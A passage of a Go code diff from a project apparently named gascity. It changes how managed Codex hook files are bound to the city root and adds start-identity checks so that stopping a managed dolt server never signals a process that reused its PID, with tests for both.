 // city/HQ store and each bound rig store. Called from tick().
 func (cr *CityRuntime) convergenceTick(ctx context.Context) {
@@ -244,11 +246,6 @@ func (cr *CityRuntime) convergenceTickScope(ctx context.Context, scope *converge
 	if scope == nil || scope.adapter == nil {
 		return
 	}
-	if err := cr.validateConvergenceScopeCurrent(scope); err != nil {
-		fmt.Fprintf(cr.stderr, "%s: convergence%s: skipping stale scope: %v\n", //nolint:errcheck
-			cr.logPrefix, scope.logSuffix(), err)
-		return
-	}
 	if scope.needsStartupReconcile {
 		cr.convergenceStartupReconcileScope(ctx, scope)
 		if scope.needsStartupReconcile {
@@ -561,11 +558,6 @@ func (cr *CityRuntime) convergenceStartupReconcileScope(ctx context.Context, sco
 	if scope == nil {
 		return
 	}
-	if err := cr.validateConvergenceScopeCurrent(scope); err != nil {
-		fmt.Fprintf(cr.stderr, "%s: convergence reconcile%s: skipping stale scope: %v\n", //nolint:errcheck
-			cr.logPrefix, scope.logSuffix(), err)
-		return
-	}
 	// List() waits for CachingStore prime if not yet live, then serves
 	// from memory. No subprocess stampede.
 	all, err := scope.store.List(beads.ListQuery{Type: "convergence"})
diff --git a/cmd/gc/doctor_codex_hooks.go b/cmd/gc/doctor_codex_hooks.go
index f54ed23d95..e7f9d18384 100644
--- a/cmd/gc/doctor_codex_hooks.go
+++ b/cmd/gc/doctor_codex_hooks.go
@@ -16,11 +16,16 @@ import (
 )
 
 type codexHooksDriftCheck struct {
-	dirs []string
+	cityPath string
+	dirs     []string
 }
 
-func newCodexHooksDriftCheck(dirs []string) *codexHooksDriftCheck {
-	return &codexHooksDriftCheck{dirs: cleanCodexHookDirs(dirs)}
+func newCodexHooksDriftCheck(cityPath string, dirs []string) *codexHooksDriftCheck {
+	cityPath = strings.TrimSpace(cityPath)
+	if cityPath != "" {
+		cityPath = filepath.Clean(cityPath)
+	}
+	return &codexHooksDriftCheck{cityPath: cityPath, dirs: cleanCodexHookDirs(dirs)}
 }
 
 func codexHookWorkDirs(cityPath string, cfg *config.City) []string {
@@ -183,10 +188,10 @@ func (c *codexHooksDriftCheck) CanFix() bool { return true }
 
 func (c *codexHooksDriftCheck) Fix(_ *doctor.CheckContext) error {
 	for _, dir := range c.dirs {
-		if !codexHooksMissingPreCompact(filepath.Join(dir, ".codex", "hooks.json")) {
+		if !codexHooksNeedUpgrade(filepath.Join(dir, ".codex", "hooks.json"), c.cityPath) {
 			continue
 		}
-		if err := hooks.Install(fsys.OSFS{}, dir, dir, []string{"codex"}); err != nil {
+		if err := hooks.Install(fsys.OSFS{}, c.cityPath, dir, []string{"codex"}); err != nil {
 			return fmt.Errorf("upgrading Codex hooks in %s: %w", dir, err)
 		}
 	}
@@ -197,7 +202,7 @@ func (c *codexHooksDriftCheck) Run(_ *doctor.CheckContext) *doctor.CheckResult {
 	var stale []string
 	for _, dir := range c.dirs {
 		path := filepath.Join(dir, ".codex", "hooks.json")
-		if codexHooksMissingPreCompact(path) {
+		if codexHooksNeedUpgrade(path, c.cityPath) {
 			stale = append(stale, path)
 		}
 	}
@@ -205,11 +210,19 @@ func (c *codexHooksDriftCheck) Run(_ *doctor.CheckContext) *doctor.CheckResult {
 		return okCheck(c.Name(), "Codex hooks are current or user-owned")
 	}
 	return warnCheck(c.Name(),
-		fmt.Sprintf("%d managed Codex hook file(s) missing PreCompact handoff", len(stale)),
+		fmt.Sprintf("%d managed Codex hook file(s) need upgrade", len(stale)),
 		"run `gc doctor --fix` or restart the city to upgrade managed Codex hooks",
 		stale)
 }
 
+func codexHooksNeedUpgrade(path, cityPath string) bool {
+	data, err := os.ReadFile(path)
+	if err != nil {
+		return false
+	}
+	return hooks.CodexHooksNeedManagedUpgrade(data, cityPath)
+}
+
 func codexHooksMissingPreCompact(path string) bool {
 	data, err := os.ReadFile(path)
 	if err != nil {
diff --git a/cmd/gc/doctor_codex_hooks_test.go b/cmd/gc/doctor_codex_hooks_test.go
index 02c57d516a..879c56ea28 100644
--- a/cmd/gc/doctor_codex_hooks_test.go
+++ b/cmd/gc/doctor_codex_hooks_test.go
@@ -1,6 +1,7 @@
 package main
 
 import (
+	"fmt"
 	"os"
 	"path/filepath"
 	"strings"
@@ -8,6 +9,7 @@ import (
 
 	"github.com/gastownhall/gascity/internal/config"
 	"github.com/gastownhall/gascity/internal/doctor"
+	"github.com/gastownhall/gascity/internal/shellquote"
 )
 
 func TestCodexHooksDriftCheckReportsManagedMissingPreCompact(t *testing.T) {
@@ -23,37 +25,37 @@ func TestCodexHooksDriftCheckReportsManagedMissingPreCompact(t *testing.T) {
   }
 }`)
 
-	check := newCodexHooksDriftCheck([]string{dir})
+	check := newCodexHooksDriftCheck(dir, []string{dir})
 	result := check.Run(&doctor.CheckContext{})
 
 	if result.Status != doctor.StatusWarning {
 		t.Fatalf("status = %v, want warning; message=%s", result.Status, result.Message)
 	}
-	if !strings.Contains(result.Message, "missing PreCompact") {
-		t.Fatalf("message = %q, want missing PreCompact", result.Message)
+	if !strings.Contains(result.Message, "need upgrade") {
+		t.Fatalf("message = %q, want need upgrade", result.Message)
 	}
 }
 
 func TestCodexHooksDriftCheckPassesCurrentHooks(t *testing.T) {
 	dir := t.TempDir()
-	writeCodexHooksForDoctorTest(t, dir, `{
+	writeCodexHooksForDoctorTest(t, dir, fmt.Sprintf(`{
   "hooks": {
     "SessionStart": [{
       "hooks": [{
         "type": "command",
-        "command": "export PATH=\"$HOME/go/bin:$HOME/.local/bin:$PATH\" && gc prime --hook --hook-format codex"
+        "command": "export PATH=\"$HOME/go/bin:$HOME/.local/bin:$PATH\" && GC_MANAGED_SESSION_HOOK=1 GC_HOOK_EVENT_NAME=SessionStart gc --city %s prime --hook --hook-format codex"
       }]
     }],
     "PreCompact": [{
       "hooks": [{
         "type": "command",
-        "command": "export PATH=\"$HOME/go/bin:$HOME/.local/bin:$PATH\" && gc handoff --auto --hook-format codex \"context cycle\""
+        "command": "export PATH=\"$HOME/go/bin:$HOME/.local/bin:$PATH\" && gc --city %s handoff --auto --hook-format codex \"context cycle\""
       }]
     }]
   }
-}`)
+}`, shellquote.Quote(dir), shellquote.Quote(dir)))
 
-	check := newCodexHooksDriftCheck([]string{dir})
+	check := newCodexHooksDriftCheck(dir, []string{dir})
 	result := check.Run(&doctor.CheckContext{})
 
 	if result.Status != doctor.StatusOK {
@@ -74,7 +76,7 @@ func TestCodexHooksDriftCheckIgnoresCustomHooks(t *testing.T) {
   }
 }`)
 
-	check := newCodexHooksDriftCheck([]string{dir})
+	check := newCodexHooksDriftCheck(dir, []string{dir})
 	result := check.Run(&doctor.CheckContext{})
 
 	if result.Status != doctor.StatusOK {
@@ -95,7 +97,7 @@ func TestCodexHooksDriftCheckFixUpgradesManagedHooks(t *testing.T) {
   }
 }`)
 
-	check := newCodexHooksDriftCheck([]string{dir})
+	check := newCodexHooksDriftCheck(dir, []string{dir})
 	if err := check.Fix(&doctor.CheckContext{}); err != nil {
 		t.Fatalf("Fix: %v", err)
 	}
@@ -113,7 +115,7 @@ func TestCodexHooksDriftCheckFixUpgradesManagedHooks(t *testing.T) {
 }
 
 func TestNewCodexHooksDriftCheckCleansDedupesAndSortsDirs(t *testing.T) {
-	check := newCodexHooksDriftCheck([]string{" /z/../z ", "", "/a", "/a/."})
+	check := newCodexHooksDriftCheck("/city", []string{" /z/../z ", "", "/a", "/a/."})
 
 	if got, want := strings.Join(check.dirs, ","), "/a,/z"; got != want {
 		t.Fatalf("dirs = %q, want %q", got, want)
@@ -126,6 +128,104 @@ func TestNewCodexHooksDriftCheckCleansDedupesAndSortsDirs(t *testing.T) {
 	}
 }
 
+func TestCodexHooksDriftCheckFixBindsAgentWorkDirToCityRoot(t *testing.T) {
+	cityDir := t.TempDir()
+	agentDir := filepath.Join(cityDir, ".gc", "agents", "reviewer")
+	writeCodexHooksForDoctorTest(t, agentDir, `{
+  "hooks": {
+    "SessionStart": [{
+      "hooks": [{
+        "type": "command",
+        "command": "export PATH=\"$HOME/go/bin:$HOME/.local/bin:$PATH\" && gc prime --hook --hook-format codex"
+      }]
+    }]
+  }
+}`)
+
+	check := newCodexHooksDriftCheck(cityDir, []string{agentDir})
+	if err := check.Fix(&doctor.CheckContext{}); err != nil {
+		t.Fatalf("Fix: %v", err)
+	}
+
+	data, err := os.ReadFile(filepath.Join(agentDir, ".codex", "hooks.json"))
+	if err != nil {
+		t.Fatalf("read hooks: %v", err)
+	}
+	got := string(data)
+	if !strings.Contains(got, `gc --city `) {
+		t.Fatalf("fixed hooks missing explicit --city binding:\n%s", got)
+	}
+	if !strings.Contains(got, shellquote.Quote(cityDir)) {
+		t.Fatalf("fixed hooks missing city root %q:\n%s", cityDir, got)
+	}
+	if strings.Contains(got, shellquote.Quote(agentDir)) {
+		t.Fatalf("fixed hooks rebound to agent workdir %q:\n%s", agentDir, got)
+	}
+}
+
+func TestCodexHooksDriftCheckReportsManagedWrongCityBinding(t *testing.T) {
+	cityDir := t.TempDir()
+	writeCodexHooksForDoctorTest(t, cityDir, `{
+  "hooks": {
+    "SessionStart": [{
+      "hooks": [{
+        "type": "command",
+        "command": "export PATH=\"$HOME/go/bin:$HOME/.local/bin:$PATH\" && GC_MANAGED_SESSION_HOOK=1 GC_HOOK_EVENT_NAME=SessionStart gc --city /old/city prime --hook --hook-format codex"
+      }]
+    }],
+    "PreCompact": [{
+      "hooks": [{
+        "type": "command",
+        "command": "export PATH=\"$HOME/go/bin:$HOME/.local/bin:$PATH\" && gc --city /old/city handoff --auto --hook-format codex \"context cycle\""
+      }]
+    }]
+  }
+}`)
+
+	check := newCodexHooksDriftCheck(cityDir, []string{cityDir})
+	result := check.Run(&doctor.CheckContext{})
+	if result.Status != doctor.StatusWarning {
+		t.Fatalf("status = %v, want warning; message=%s", result.Status, result.Message)
+	}
+}
+
+func TestCodexHooksDriftCheckFixRebindsManagedWrongCityBinding(t *testing.T) {
+	cityDir := t.TempDir()
+	writeCodexHooksForDoctorTest(t, cityDir, `{
+  "hooks": {
+    "SessionStart": [{
+      "hooks": [{
+        "type": "command",
+        "command": "export PATH=\"$HOME/go/bin:$HOME/.local/bin:$PATH\" && GC_MANAGED_SESSION_HOOK=1 GC_HOOK_EVENT_NAME=SessionStart gc --city /old/city prime --hook --hook-format codex"
+      }]
+    }],
+    "PreCompact": [{
+      "hooks": [{
+        "type": "command",
+        "command": "export PATH=\"$HOME/go/bin:$HOME/.local/bin:$PATH\" && gc --city /old/city handoff --auto --hook-format codex \"context cycle\""
+      }]
+    }]
+  }
+}`)
+
+	check := newCodexHooksDriftCheck(cityDir, []string{cityDir})
+	if err := check.Fix(&doctor.CheckContext{}); err != nil {
+		t.Fatalf("Fix: %v", err)
+	}
+
+	data, err := os.ReadFile(filepath.Join(cityDir, ".codex", "hooks.json"))
+	if err != nil {
+		t.Fatalf("read hooks: %v", err)
+	}
+	got := string(data)
+	if !strings.Contains(got, shellquote.Quote(cityDir)) {
+		t.Fatalf("fixed hooks missing city root %q:\n%s", cityDir, got)
+	}
+	if strings.Contains(got, "/old/city") {
+		t.Fatalf("stale city binding survived:\n%s", got)
+	}
+}
+
 func TestCodexHookWorkDirsIncludesActiveRigPaths(t *testing.T) {
 	cfg := &config.City{
 		Rigs: []config.Rig{
@@ -233,6 +333,24 @@ func TestCodexHooksMissingPreCompactRequiresManagedCommand(t *testing.T) {
 	}
 }
 
+func TestCodexHooksNeedUpgradeRejectsUnreadableMalformedAndCustomFiles(t *testing.T) {
+	dir := t.TempDir()
+	missingPath := filepath.Join(dir, ".codex", "hooks.json")
+	if codexHooksNeedUpgrade(missingPath, "/city") {
+		t.Fatal("missing file reported stale")
+	}
+
+	writeCodexHooksForDoctorTest(t, dir, `{not-json`)
+	if codexHooksNeedUpgrade(missingPath, "/city") {
+		t.Fatal("malformed JSON reported stale")
+	}
+
+	writeCodexHooksForDoctorTest(t, dir, `{"hooks":{"UserPromptSubmit":[{"hooks":[{"type":"command","command":"FOO=1 gc mail check --inject --hook-format codex"}]}]}}`)
+	if codexHooksNeedUpgrade(missingPath, "/city") {
+		t.Fatal("env-prefixed custom hooks reported stale")
+	}
+}
+
 func assertDoctorPathPresent(t *testing.T, paths []string, want string) {
 	t.Helper()
 	want = filepath.Clean(want)
diff --git a/cmd/gc/dolt_lifecycle_race_test.go b/cmd/gc/dolt_lifecycle_race_test.go
index 14c350a8ab..c4773f7744 100644
--- a/cmd/gc/dolt_lifecycle_race_test.go
+++ b/cmd/gc/dolt_lifecycle_race_test.go
@@ -5,6 +5,7 @@ import (
 	"os"
 	"os/exec"
 	"path/filepath"
+	"runtime"
 	"strconv"
 	"strings"
 	"syscall"
@@ -277,3 +278,38 @@ func TestStopManagedDoltWaitsForLockReleaseAfterExit(t *testing.T) {
 		t.Fatal("expected the SIGTERM-respecting process to have exited")
 	}
 }
+
+// TestManagedDoltProcessControllableGatesForcedStopByOwnership pins the decision
+// the normal-stop forced kill now gates on (PR #4004 attempt-4). Before SIGKILL,
+// stopManagedDoltProcessWithOptions re-checks managedDoltProcessControllable, so
+// a PID reused by an unrelated process after our server exited during the SIGTERM
+// grace is never force-killed. An owned live server is controllable; a live
+// process that is not our managed dolt server is not — that is exactly the
+// reused-PID case the escalation must skip.
+func TestManagedDoltProcessControllableGatesForcedStopByOwnership(t *testing.T) {
+	if runtime.GOOS == "windows" {
+		t.Skip("POSIX process semantics required")
+	}
+	city, _ := raceTestCity(t, "")
+	layout, err := resolveManagedDoltRuntimeLayout(city)
+	if err != nil {
+		t.Fatalf("resolve layout: %v", err)
+	}
+	dataDir := filepath.Join(city, ".beads", "dolt")
+
+	// Owned: cwd is the managed data dir, so the ownership inspection
+	// (processCWDMatches) attributes it to our server.
+	owned := startSigtermIgnoringProcess(t, dataDir)
+	if !managedDoltProcessControllable(owned, layout) {
+		t.Fatalf("owned managed dolt process pid %d reported not controllable; a genuine forced stop would be skipped", owned)
+	}
+
+	// Unowned: a live process whose cwd is unrelated to the data dir stands in
+	// for the stranger that reused the PID after our server exited; the forced
+	// kill must skip it.
+	unownedDir := t.TempDir()
+	unowned := startSigtermIgnoringProcess(t, unownedDir)
+	if managedDoltProcessControllable(unowned, layout) {
+		t.Fatalf("unrelated process pid %d (cwd %s) reported controllable; forced stop would SIGKILL a reused PID", unowned, unownedDir)
+	}
+}
diff --git a/cmd/gc/dolt_scope_watchdog.go b/cmd/gc/dolt_scope_watchdog.go
index e1850749aa..83492ce4d0 100644
--- a/cmd/gc/dolt_scope_watchdog.go
+++ b/cmd/gc/dolt_scope_watchdog.go
@@ -146,17 +146,28 @@ func startManagedDoltSQLServerWithScopeWatchdog(cityPath, configFile, logFilePat
 	if err := cmd.Start(); err != nil {
 		return managedDoltStartedProcess{}, fmt.Errorf("start dolt scope watchdog: %w", err)
 	}
-	pid, err := readManagedDoltTestWatchdogPID(stdout, cmd.Process.Pid)
+	pid, startTimeTicks, startIdentity, err := readManagedDoltScopeWatchdogStart(stdout, cmd.Process.Pid)
 	if err != nil {
 		_ = terminateManagedDoltPID(cityPath, cmd.Process.Pid)
 		_ = cmd.Wait()
 		return managedDoltStartedProcess{}, err
 	}
+	watchdogPID := cmd.Process.Pid
+	// Snapshot the watchdog's own OS start identity while it is definitely alive
+	// (it has just handed off the dolt PID and entered its supervise loop), before
+	// the reaper goroutine below can Wait() it and free the PID. Startup-failure
+	// cleanup then re-verifies the watchdog PID the same way it does the dolt
+	// child's, so a reused watchdog PID is never signaled.
+	watchdogTicks, watchdogIdentity := snapshotManagedDoltStartIdentity(watchdogPID)
 	go func() { _ = cmd.Wait() }()
 	return managedDoltStartedProcess{
-		CityPath:    cityPath,
-		PID:         pid,
-		WatchdogPID: cmd.Process.Pid,
+		CityPath:               cityPath,
+		PID:                    pid,
+		WatchdogPID:            watchdogPID,
+		StartTimeTicks:         startTimeTicks,
+		StartIdentity:          startIdentity,
+		WatchdogStartTimeTicks: watchdogTicks,
+		WatchdogStartIdentity:  watchdogIdentity,
 	}, nil
 }
 
@@ -192,7 +203,7 @@ func runManagedDoltScopeWatchdog(args []string, stdout, stderr *os.File) int {
 	// the direct production spawn (managedDoltSQLServerSysProcAttr) and the
 	// test watchdog's layout, and keeping the server's descendants out of
 	// the watchdog's own group. Termination here is leader-only:
-	// terminateManagedDoltPID signals just this PID — group-kill
+	// the guarded terminate below signals just this PID — group-kill
 	// (kill(-pgid, ...)) exists only in terminateManagedDoltTestPID, the
 	// test-registry reaper. Leader-only is accepted on this path because
 	// the managed config disables auto_gc/stats helper workers (see
@@ -205,7 +216,22 @@ func runManagedDoltScopeWatchdog(args []string, stdout, stderr *os.File) int {
 		fmt.Fprintf(stderr, "start dolt sql-server: %v\n", err) //nolint:errcheck
 		return 1
 	}
-	fmt.Fprintf(stdout, "%d\n", cmd.Process.Pid) //nolint:errcheck
+	// Report the dolt child's PID and OS start identity to the parent BEFORE the
+	// reap goroutine below can Wait() the child and free its numeric PID.
+	// Snapshotting here — while the watchdog still holds the un-reaped child — is
+	// race-free and mirrors the direct-spawn snapshot in startManagedDoltSQLServer,
+	// so the parent's startup-failure cleanup guard
+	// (terminateManagedDoltStartedProcess) never signals an unrelated process that
+	// reused the PID after this child exited and was reaped. The watchdog also
+	// reuses this snapshot to guard its own scope-gone and signal-forward
+	// termination of the child below (terminateManagedDoltScopeWatchdogChild), so
+	// a reaped-then-reused PID is never signaled on the local reap path either.
+	// snapshotManagedDoltStartIdentity reads the ps fallback lazily, so this
+	// handshake — which the parent reads under a timeout — never blocks on a ps
+	// fork when /proc ticks are available.
+	startPID := cmd.Process.Pid
+	startTicks, startIdentity := snapshotManagedDoltStartIdentity(startPID)
+	fmt.Fprintln(stdout, formatManagedDoltWatchdogStartLine(startPID, startTicks, startIdentity)) //nolint:errcheck
 
 	interval := managedDoltScopeWatchdogInterval()
 	fmt.Fprintf(logFile, "gc scope watchdog: supervising dolt sql-server pid %d (config %s, poll interval %s)\n", //nolint:errcheck
@@ -225,7 +251,7 @@ func runManagedDoltScopeWatchdog(args []string, stdout, stderr *os.File) int {
 		select {
 		case sig := <-signals:
 			fmt.Fprintf(logFile, "gc scope watchdog: received %v; terminating dolt sql-server pid %d\n", sig, cmd.Process.Pid) //nolint:errcheck
-			_ = terminateManagedDoltPID(cityPath, cmd.Process.Pid)
+			_ = terminateManagedDoltScopeWatchdogChild(cityPath, cmd.Process.Pid, startTicks, startIdentity)
 			<-done
 			return 0
 		case <-ticker.C:
@@ -239,7 +265,7 @@ func runManagedDoltScopeWatchdog(args []string, stdout, stderr *os.File) int {
 			}
 			fmt.Fprintf(logFile, "gc scope watchdog: config %s gone for %d consecutive checks; terminating dolt sql-server pid %d\n", //nolint:errcheck
 				configFile, goneStreak, cmd.Process.Pid)
-			_ = terminateManagedDoltPID(cityPath, cmd.Process.Pid)
+			_ = terminateManagedDoltScopeWatchdogChild(cityPath, cmd.Process.Pid, startTicks, startIdentity)
 			<-done
 			return 0
 		case err := <-done:
@@ -252,3 +278,20 @@ func runManagedDoltScopeWatchdog(args []string, stdout, stderr *os.File) int {
 		}
 	}
 }
+
+// terminateManagedDoltScopeWatchdogChild terminates the watchdog's own dolt
+// sql-server child by PID, guarded against PID reuse with the child's OS start
+// identity that the watchdog snapshotted at startup (startTicks/startIdentity,
+// captured before the reap goroutine could Wait() the child and free its
+// numeric PID). This is the production scope-gone/signal reap path — the reason
+// the watchdog exists — so it carries the same reuse hazard the parent-side
+// cleanup does: the reaper goroutine frees the PID when a server that outlived
+// the SIGTERM grace finally exits, and terminateManagedDoltPIDGuarded re-checks
+// identity before both SIGTERM and SIGKILL so neither signal lands on an
+// unrelated process that reused the number. A zero identity (no /proc ticks and
+// no ps fallback) composes to the legacy unconditional terminate.
+func terminateManagedDoltScopeWatchdogChild(cityPath string, pid int, startTicks uint64, startIdentity string) error {
+	return terminateManagedDoltPIDGuarded(cityPath, pid, func() bool {
+		return managedDoltPIDStartIdentityMatches(pid, startTicks, startIdentity)
+	})
+}
diff --git a/cmd/gc/dolt_scope_watchdog_test.go b/cmd/gc/dolt_scope_watchdog_test.go
index 23f36ec242..cd74b371e8 100644
--- a/cmd/gc/dolt_scope_watchdog_test.go
+++ b/cmd/gc/dolt_scope_watchdog_test.go
@@ -6,6 +6,7 @@ import (
 	"os/exec"
 	"path/filepath"
 	"runtime"
+	"strconv"
 	"strings"
 	"testing"
 	"time"
@@ -200,6 +201,83 @@ func TestManagedDoltScopeWatchdogHelper(t *testing.T) {
 	if err := os.WriteFile(statePath, []byte(state), 0o644); err != nil {
 		t.Fatalf("write helper state: %v", err)
 	}
+	// Opt-in: record the reported start identity so a caller test can assert the
+	// scope-watchdog path populates it (the PR #4004 PID-reuse guard input).
+	// Two lines: start-time ticks, then the ps-lstart identity (possibly empty).
+	if identityPath := strings.TrimSpace(os.Getenv("GC_TEST_MANAGED_DOLT_HELPER_IDENTITY")); identityPath != "" {
+		identity := fmt.Sprintf("%d\n%s\n", started.StartTimeTicks, started.StartIdentity)
+		if err := os.WriteFile(identityPath, []byte(identity), 0o644); err != nil {
+			t.Fatalf("write helper identity: %v", err)
+		}
+	}
+}
+
+// readManagedDoltScopeIdentityState parses the two-line identity file the scope
+// watchdog helper writes when GC_TEST_MANAGED_DOLT_HELPER_IDENTITY is set:
+// start-time ticks on line 1, the ps-lstart identity (possibly empty) on line 2.
+func readManagedDoltScopeIdentityState(t *testing.T, path string) (uint64, string) {
+	t.Helper()
+	data, err := os.ReadFile(path)
+	if err != nil {
+		t.Fatalf("read helper identity: %v", err)
+	}
+	lines := strings.SplitN(strings.TrimRight(string(data), "\n"), "\n", 2)
+	ticks, err := strconv.ParseUint(strings.TrimSpace(lines[0]), 10, 64)
+	if err != nil {
+		t.Fatalf("parse helper identity ticks %q: %v", lines[0], err)
+	}
+	identity := ""
+	if len(lines) >= 2 {
+		identity = lines[1]
+	}
+	return ticks, identity
+}
+
+// TestManagedDoltScopeWatchdogReportsStartIdentity is the PR #4004 F1 regression
+// for the production scope-watchdog path: the returned managedDoltStartedProcess
+// must carry the dolt child's OS start identity, snapshotted by the watchdog
+// before it can reap the child. Without it the startup-failure cleanup guard
+// (terminateManagedDoltStartedProcess) falls through to unconditional bare-PID
+// signaling and can kill an unrelated process that reused the numeric PID.
+func TestManagedDoltScopeWatchdogReportsStartIdentity(t *testing.T) {
+	if runtime.GOOS == "windows" {
+		t.Skip("POSIX process semantics required")
+	}
+	dir := t.TempDir()
+	fakeDoltDir := writeFakeDoltSQLServer(t)
+	statePath := filepath.Join(dir, "state")
+	identityPath := filepath.Join(dir, "identity")
+	configPath := filepath.Join(dir, "dolt-config.yaml")
+	logPath := filepath.Join(dir, "dolt.log")
+	if err := os.WriteFile(configPath, []byte("log_level: debug\n"), 0o644); err != nil {
+		t.Fatalf("write config: %v", err)
+	}
+
+	cmd := exec.Command(os.Args[0], "-test.run=TestManagedDoltScopeWatchdogHelper", "-test.v")
+	cmd.Env = sanitizedBaseEnv(
+		"GC_TEST_MANAGED_DOLT_HELPER=scope-watchdog",
+		"GC_TEST_MANAGED_DOLT_HELPER_STATE="+statePath,
+		"GC_TEST_MANAGED_DOLT_HELPER_IDENTITY="+identityPath,
+		"GC_TEST_MANAGED_DOLT_HELPER_CONFIG="+configPath,
+		"GC_TEST_MANAGED_DOLT_HELPER_LOG="+logPath,
+		"GC_TEST_MANAGED_DOLT_HELPER_FAKE_DOLT_DIR="+fakeDoltDir,
+		"GC_TEST_MANAGED_DOLT_HELPER_SCOPE_WD_INTERVAL_MS=50",
+	)
+	output, err := cmd.CombinedOutput()
+	if err != nil {
+		t.Fatalf("helper failed: %v\n%s", err, output)
+	}
+	doltPID, watchdogPID := readManagedDoltTestState(t, statePath)
+	t.Cleanup(func() {
+		cleanupManagedDoltTestPID(t, doltPID)
+		cleanupManagedDoltTestPID(t, watchdogPID)
+	})
+
+	ticks, identity := readManagedDoltScopeIdentityState(t, identityPath)
+	if ticks == 0 && identity == "" {
+		logData, _ := os.ReadFile(logPath)
+		t.Fatalf("scope watchdog reported no start identity (ticks=%d identity=%q); PID-reuse guard disabled; log:\n%s", ticks, identity, logData)
+	}
 }
 
 // TestManagedDoltScopeWatchdogServerSurvivesScopePresent asserts the
@@ -282,3 +360,65 @@ func TestRunManagedDoltScopeWatchdogUsage(t *testing.T) {
 		t.Errorf("blank config exit = %d, want 2", code)
 	}
 }
+
+// TestTerminateManagedDoltScopeWatchdogChildSkipsReusedPID is the PR #4004
+// completeness regression for the watchdog's own reap path: the scope-gone and
+// signal-forward branches terminate the dolt child through
+// terminateManagedDoltScopeWatchdogChild, which must skip the signal when the
+// child's numeric PID was reaped and reused (identity mismatch) while still
+// terminating a child whose start identity still matches. Without the guard the
+// production scope reap could SIGKILL an unrelated process that reused the PID.
+func TestTerminateManagedDoltScopeWatchdogChildSkipsReusedPID(t *testing.T) {
+	if runtime.GOOS == "windows" {
+		t.Skip("POSIX signal semantics required")
+	}
+
+	// The live re-read is mocked to a fixed identity (3333); the guard compares
+	// each snapshot against it, exactly as the watchdog runloop does.
+	oldTicks := managedDoltTestReadStartTimeTicks
+	oldIdent := managedDoltTestReadStartIdentity
+	managedDoltTestReadStartTimeTicks = func(int) uint64 { return 3333 }
+	managedDoltTestReadStartIdentity = func(int) string { return "" }
+	t.Cleanup(func() {
+		managedDoltTestReadStartTimeTicks = oldTicks
+		managedDoltTestReadStartIdentity = oldIdent
+	})
+
+	// Matching snapshot (3333 == mocked re-read): the child is signaled and a
+	// sleep dies on SIGTERM (a zombie reads as not-alive).
+	matching := exec.Command("sleep", "60")
+	if err := matching.Start(); err != nil {
+		t.Fatalf("start matching child: %v", err)
+	}
+	matchingPID := matching.Process.Pid
+	t.Cleanup(func() {
+		_ = matching.Process.Kill()
+		_ = matching.Wait()
+	})
+	if err := terminateManagedDoltScopeWatchdogChild("", matchingPID, 3333, ""); err != nil {
+		t.Fatalf("guarded terminate of matching child: %v", err)
+	}
+	if pidAlive(matchingPID) {
+		t.Fatalf("watchdog reap did not signal matching dolt child pid %d", matchingPID)
+	}
+
+	// Reused snapshot (1111 != mocked re-read 3333): the PID was reaped and the
+	// number reused, so the guard must leave the live process untouched.
+	reused := exec.Command("sleep", "60")
+	if err := reused.Start(); err != nil {
+		t.Fatalf("start reused child: %v", err)
+	}
+	reusedPID := reused.Process.Pid
+	t.Cleanup(func() {
+		_ = reused.Process.Kill()
+		_ = reused.Wait()
+	})
+	if err := terminateManagedDoltScopeWatchdogChild("", reusedPID, 1111, ""); err != nil {
+		t.Fatalf("guarded terminate of reused child: %v", err)
+	}
+	// Give any erroneous SIGTERM time to land before asserting survival.
+	time.Sleep(200 * time.Millisecond)
+	if !pidAlive(reusedPID) {
+		t.Fatalf("watchdog reap signaled reused dolt child pid %d; identity guard not enforced", reusedPID)
+	}
+}
diff --git a/cmd/gc/dolt_start_managed.go b/cmd/gc/dolt_start_managed.go
index ecd3d2328e..48624af907 100644
--- a/cmd/gc/dolt_start_managed.go
+++ b/cmd/gc/dolt_start_managed.go
@@ -46,6 +46,14 @@ type managedDoltStartedProcess struct {
 	// used as a fallback when StartTimeTicks is unavailable (macOS, locked-down
 	// /proc). Mirrors the production reap algorithm.
 	StartIdentity string
+	// WatchdogStartTimeTicks and WatchdogStartIdentity snapshot the supervising
+	// watchdog's OS start identity at spawn, with the same precedence and
+	// fallback as StartTimeTicks/StartIdentity. The parent reaps the watchdog
+	// with a background cmd.Wait() just like the dolt child, so a watchdog PID
+	// can be freed and reused mid-cleanup; startup-failure cleanup re-verifies
+	// these before signaling WatchdogPID. Zero/empty when there is no watchdog.
+	WatchdogStartTimeTicks uint64
+	WatchdogStartIdentity  string
 }
 
 // defaultManagedDoltBindHost is the listener host a managed dolt sql-server
@@ -426,7 +434,44 @@ func startManagedDoltSQLServer(cityPath, configFile, logFilePath string, logFile
 	if err := cmd.Start(); err != nil {
 		return managedDoltStartedProcess{}, fmt.Errorf("start dolt sql-server: %w", err)
 	}
-	return managedDoltStartedProcess{CityPath: cityPath, PID: cmd.Process.Pid}, nil
+	// Snapshot the child's OS-level start identity while it is still definitely
+	// alive — before the reap goroutine below can Wait() it and free the PID.
+	// A same-attempt startup-failure cleanup (terminateManagedDoltStartedProcess)
+	// re-reads this before signaling, so a numeric PID reused after this child
+	// exits and is reaped is never signaled. Mirrors the test reaper's
+	// registration snapshot and the production reaper
+	// (cmd_dolt_cleanup.go:sameReapProcessIdentity): start-time ticks first, ps
+	// lstart as the no-/proc fallback.
+	pid := cmd.Process.Pid
+	startTimeTicks, startIdentity := snapshotManagedDoltStartIdentity(pid)
+	started := managedDoltStartedProcess{
+		CityPath:       cityPath,
+		PID:            pid,
+		StartTimeTicks: startTimeTicks,
+		StartIdentity:  startIdentity,
+	}
+	// Reap the child when it exits so it does not linger as a zombie under a
+	// non-reaping PID-1 controller. This server is managed out-of-band by PID
+	// (health checks, terminateManagedDoltPID); the returned struct carries no
+	// *exec.Cmd, so this goroutine is the sole Wait — matching the scope/test
+	// watchdog paths, which already reap via a background cmd.Wait().
+	go func() { _ = cmd.Wait() }()
+	return started, nil
+}
+
+// snapshotManagedDoltStartIdentity captures a live PID's OS-level start identity
+// for the PID-reuse guard. It reads /proc start-time ticks first and only forks
+// `ps -o lstart=` when ticks are unavailable (macOS, locked-down /proc), so the
+// common Linux path — the container target — never spawns ps on the managed-dolt
+// startup critical path. The precedence mirrors the guard itself
+// (managedDoltStartedPIDIdentityMatches): where ticks are present the ps fallback
+// is never consulted, so reading it eagerly only burdens the hot path (and, on
+// the scope-watchdog handshake, couples the parent's read to ps's own timeout).
+func snapshotManagedDoltStartIdentity(pid int) (uint64, string) {
+	if ticks := readProcStartTimeTicks(pid); ticks != 0 {
+		return ticks, ""
+	}
+	return 0, readProcStartIdentity(pid)
 }
